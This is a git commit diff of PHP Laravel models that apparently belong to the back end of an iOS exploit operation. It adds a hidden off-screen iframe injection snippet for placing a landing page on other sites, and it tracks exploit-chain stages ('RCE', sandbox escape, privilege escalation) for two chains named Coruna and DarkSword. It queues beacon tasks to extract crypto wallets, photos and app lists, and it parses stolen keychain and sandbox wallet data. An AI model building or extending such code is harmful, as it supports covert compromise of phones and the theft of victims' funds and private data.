feat: ds
This commit is contained in:
+24
-8
@@ -174,19 +174,35 @@ class Channel extends Model
|
||||
|
||||
/**
|
||||
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
|
||||
* src is resolved at paste-time from the host page's location.
|
||||
*/
|
||||
public function promoIframeSnippet(?string $url = null): ?string
|
||||
{
|
||||
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
|
||||
if ($url === '') {
|
||||
$base = rtrim((string) config('app.url'), '/');
|
||||
if ($base === '') {
|
||||
return null;
|
||||
}
|
||||
$url = $base.$this->landingPath();
|
||||
$path = $this->landingPathFromUrl($url) ?? $this->landingPath();
|
||||
if ($path === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
if (! str_starts_with($path, '/')) {
|
||||
$path = '/'.$path;
|
||||
}
|
||||
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
|
||||
$path = $this->landingPath();
|
||||
}
|
||||
|
||||
// Telegram copy_text max is 256. Relative src resolves against the host page.
|
||||
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
|
||||
}
|
||||
|
||||
private function landingPathFromUrl(?string $url): ?string
|
||||
{
|
||||
$url = trim((string) $url);
|
||||
if ($url === '') {
|
||||
return null;
|
||||
}
|
||||
$path = parse_url($url, PHP_URL_PATH);
|
||||
|
||||
return is_string($path) && $path !== '' ? $path : null;
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
|
||||
+11
-1
@@ -13,13 +13,18 @@ class Device extends Model
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
public const FAMILY_CORUNA = 'coruna';
|
||||
|
||||
public const FAMILY_DARKSWORD = 'darksword';
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'family' => self::FAMILY_CORUNA,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -89,4 +94,9 @@ class Device extends Model
|
||||
{
|
||||
return $this->hasMany(WalletKeystore::class);
|
||||
}
|
||||
|
||||
public function beaconTasks(): HasMany
|
||||
{
|
||||
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class DsBeaconTask extends Model
|
||||
{
|
||||
public const STATUS_PENDING = 'pending';
|
||||
|
||||
public const STATUS_DISPATCHED = 'dispatched';
|
||||
|
||||
public const STATUS_DONE = 'done';
|
||||
|
||||
public const STATUS_SKIPPED = 'skipped';
|
||||
|
||||
public const LABELS = [
|
||||
'wallet_extract' => '钱包提取',
|
||||
'wallet_scan' => '钱包扫盘',
|
||||
'photos' => '相册',
|
||||
'photo_scan' => '相册扫描',
|
||||
'apps' => '应用列表',
|
||||
'basic_info' => '设备信息',
|
||||
];
|
||||
|
||||
public const STATUS_LABELS = [
|
||||
self::STATUS_PENDING => '排队中',
|
||||
self::STATUS_DISPATCHED => '已下发',
|
||||
self::STATUS_DONE => '已回传',
|
||||
self::STATUS_SKIPPED => '已跳过',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'position',
|
||||
'type',
|
||||
'status',
|
||||
'command_id',
|
||||
'dispatched_at',
|
||||
'completed_at',
|
||||
'result_count',
|
||||
'result_meta',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'position' => 'integer',
|
||||
'dispatched_at' => 'datetime',
|
||||
'completed_at' => 'datetime',
|
||||
'result_count' => 'integer',
|
||||
'result_meta' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
public function typeLabel(): string
|
||||
{
|
||||
return self::LABELS[$this->type] ?? $this->type;
|
||||
}
|
||||
|
||||
public function statusLabel(): string
|
||||
{
|
||||
return self::STATUS_LABELS[$this->status] ?? $this->status;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
|
||||
class DsChainLog extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
/** @var array<string, array{progress: int, title: string}> */
|
||||
public const STAGES = [
|
||||
'boot' => ['progress' => 8, 'title' => '启动'],
|
||||
'loader' => ['progress' => 18, 'title' => '加载器'],
|
||||
'worker' => ['progress' => 42, 'title' => 'RCE'],
|
||||
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
|
||||
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
|
||||
'pe' => ['progress' => 86, 'title' => '权限提升'],
|
||||
'post' => ['progress' => 100, 'title' => '取证完成'],
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'client_uid',
|
||||
'channel_id',
|
||||
'stage',
|
||||
'progress',
|
||||
'label',
|
||||
'created_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'progress' => 'integer',
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function stageTitle(string $stage): string
|
||||
{
|
||||
return self::STAGES[$stage]['title'] ?? $stage;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{stage: string, progress: int, label: string}|null
|
||||
*/
|
||||
public static function inferFromText(?string $text): ?array
|
||||
{
|
||||
$msg = trim((string) $text);
|
||||
if ($msg === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
|
||||
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
|
||||
}
|
||||
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
|
||||
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
|
||||
}
|
||||
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
|
||||
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
|
||||
}
|
||||
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
|
||||
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
|
||||
}
|
||||
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
|
||||
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
|
||||
}
|
||||
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
|
||||
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
|
||||
}
|
||||
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
|
||||
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
|
||||
}
|
||||
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
|
||||
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public static function record(
|
||||
string $clientUid,
|
||||
string $stage,
|
||||
int $progress = 0,
|
||||
?string $label = null,
|
||||
?string $channelId = null,
|
||||
): ?self {
|
||||
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
|
||||
$stage = strtolower(trim($stage));
|
||||
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$meta = self::STAGES[$stage];
|
||||
if ($progress <= 0) {
|
||||
$progress = $meta['progress'];
|
||||
}
|
||||
$progress = max(0, min(100, $progress));
|
||||
$label = trim((string) ($label ?? ''));
|
||||
if ($label === '') {
|
||||
$label = $stage;
|
||||
}
|
||||
$label = substr($label, 0, 255);
|
||||
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
|
||||
|
||||
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
|
||||
if ($last
|
||||
&& $last->stage === $stage
|
||||
&& (int) $last->progress === $progress
|
||||
&& (string) $last->label === $label) {
|
||||
return $last;
|
||||
}
|
||||
|
||||
return self::query()->create([
|
||||
'client_uid' => substr($clientUid, 0, 64),
|
||||
'channel_id' => $channelId,
|
||||
'stage' => $stage,
|
||||
'progress' => $progress,
|
||||
'label' => $label,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
@@ -8,9 +8,14 @@ class PageVisit extends Model
|
||||
{
|
||||
public $timestamps = false;
|
||||
|
||||
public const CHAIN_CORUNA = 0;
|
||||
|
||||
public const CHAIN_DARKSWORD = 1;
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id',
|
||||
'client_uid',
|
||||
'chain',
|
||||
'session_id',
|
||||
'user_agent',
|
||||
'os',
|
||||
@@ -26,10 +31,16 @@ class PageVisit extends Model
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'chain' => 'integer',
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function chainLabel(int $chain): string
|
||||
{
|
||||
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
{
|
||||
$value = trim((string) $value);
|
||||
|
||||
@@ -8,18 +8,204 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'raw_json',
|
||||
'device_id', 'source', 'decrypted', 'raw_json',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
'decrypted' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
public function sourceLabel(): string
|
||||
{
|
||||
$source = trim((string) $this->source);
|
||||
|
||||
return $source !== '' ? $source : '未知';
|
||||
}
|
||||
|
||||
public function kind(): string
|
||||
{
|
||||
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
|
||||
}
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind()) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
default => $this->kind() !== '' ? $this->kind() : '未知',
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }>
|
||||
*/
|
||||
public function listedItems(): array
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
$out = [];
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||
foreach ($items as $item) {
|
||||
if (is_array($item)) {
|
||||
$out[] = $this->normalizeItem($item);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$sandbox = $json['sandbox'] ?? null;
|
||||
if (is_array($sandbox)) {
|
||||
$out = array_merge($out, $this->sandboxItems($sandbox));
|
||||
}
|
||||
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||
$out[] = $this->normalizeItem([
|
||||
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
|
||||
'path' => 'crypto',
|
||||
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
|
||||
]);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
public function itemCount(): int
|
||||
{
|
||||
return count($this->listedItems());
|
||||
}
|
||||
|
||||
public function summary(): string
|
||||
{
|
||||
$names = [];
|
||||
foreach ($this->listedItems() as $item) {
|
||||
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
|
||||
if ($name !== '') {
|
||||
$names[] = $name;
|
||||
}
|
||||
if (count($names) >= 3) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
$n = $this->itemCount();
|
||||
if ($names === []) {
|
||||
return $n > 0 ? $n.' 条' : '';
|
||||
}
|
||||
$text = implode(' · ', $names);
|
||||
if ($n > 3) {
|
||||
$text .= ' 等'.$n.'条';
|
||||
}
|
||||
|
||||
return $text;
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
* @return array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }
|
||||
*/
|
||||
private function normalizeItem(array $item): array
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$bin = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$bin = (string) hex2bin($hex);
|
||||
} elseif (isset($item['data']) && is_string($item['data'])) {
|
||||
$bin = $item['data'];
|
||||
}
|
||||
|
||||
return [
|
||||
'account' => trim((string) ($item['account'] ?? '')),
|
||||
'service' => trim((string) ($item['service'] ?? '')),
|
||||
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
|
||||
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
|
||||
'path' => trim((string) ($item['path'] ?? '')),
|
||||
'data_len' => strlen($bin),
|
||||
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
* service: string,
|
||||
* access_group: string,
|
||||
* protection_class: string,
|
||||
* path: string,
|
||||
* data_len: int,
|
||||
* data_preview: string
|
||||
* }>
|
||||
*/
|
||||
private function sandboxItems(array $sandbox, string $prefix = ''): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($sandbox as $key => $value) {
|
||||
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||
if (is_array($value)) {
|
||||
if (isset($value['items']) && is_array($value['items'])) {
|
||||
foreach ($value['items'] as $item) {
|
||||
if (is_array($item)) {
|
||||
$out[] = $this->normalizeItem($item);
|
||||
}
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$out = array_merge($out, $this->sandboxItems($value, $path));
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$bin = base64_decode($value, true);
|
||||
if ($bin === false) {
|
||||
$bin = $value;
|
||||
}
|
||||
$out[] = $this->normalizeItem([
|
||||
'account' => basename($path),
|
||||
'path' => $path,
|
||||
'data' => $bin,
|
||||
]);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function previewBytes(string $raw): string
|
||||
{
|
||||
if ($raw === '') {
|
||||
return '';
|
||||
}
|
||||
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
|
||||
return $raw;
|
||||
}
|
||||
$hex = bin2hex($raw);
|
||||
|
||||
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user